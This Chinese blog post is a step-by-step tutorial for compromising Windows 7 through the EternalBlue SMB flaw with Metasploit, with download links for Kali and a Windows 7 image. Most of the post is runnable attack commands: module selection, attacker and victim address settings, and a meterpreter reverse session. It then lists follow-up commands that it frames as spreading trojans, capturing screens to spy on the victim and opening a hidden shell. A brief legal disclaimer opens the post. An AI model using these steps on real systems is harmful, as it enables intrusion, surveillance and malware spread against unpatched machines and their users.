入侵一个系统有多简单？

原创于 2026-06-21 18:52:00 发布 · 220 阅读

本内容遵循CC 4.0 BY-SA版权协议

标签

#kali #入侵 #永恒之蓝 #安全 #msf

4 篇文章

订阅专栏

本文所有技术内容仅供合法网络安全学习，仅可在本人自有、已取得书面授权的设备环境操作。未经授权入侵、攻击他人系统涉嫌违法，违者自行承担全部法律责任，本文作者概不负责。

kali linux

arm64

https://kali.download/base-images/kali-2026.1/kali-linux-2026.1-installer-arm64.iso

x86_64

https://kali.download/base-images/kali-2026.1/kali-linux-2026.1-installer-amd64.iso

Windows 7

ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/

在2017年3月14日，微软发布了一个基于SMB端口445的高危漏洞，这个漏洞高危到什么程度？就是你只要拿到了对方电脑IP地址，那么就可以直接进行入侵。这就是大名鼎鼎的永恒之蓝漏洞

MSF（Metasploit Framework）简称MSF，是全球最知名的渗透测试开源工具套件，由 Rapid7 维护，预装在 Kali Linux 等安全系统中。核心用途：漏洞验证、安全攻防演练、内网风险检测；无授权使用属于违法入侵。以下是核心列表：

在kali中打开终端。

输入

sudo su

进入root用户终端

打开msf，输入

msfconsole

先查询永恒之蓝（编号ms17_010)

search ms17_010

直接输入 use 0使用攻击模块。

看到windows/smb/ms17_010_eternalblue即为成功使用攻击模块。

在对方电脑查询IP（Windows 电脑 ipconfig MacOS / Linux ifconfig）注意是IPv4 Windows 在CMD，MacOS / Linux 在Terminal

拿到IP后，在Kali设置攻击端IP和受害端IP，以及链接端口号

set lhost 【此处填入Kali IP】
set rhost 【此处填入Win7 IP】
set lport 【此处填入Kali 端口】（示例：4444）

直接run运行

run

一阵巴拉巴拉过后，可以看到有红色的

这些红色的不管他，只要在下面看到了meterpreter字样，就是成功了

常见指令

1. 传播文件（用于传播木马）
upload 本地文件 对方路径

2. 截屏（监视）保存在主文件夹
screenshot

3. 实时监控，但不能操作（监视） 会弹出一个FireFox的窗口
screenshare

4. 打开CMD，对方没反应（操作）
shell

5. 退出
exit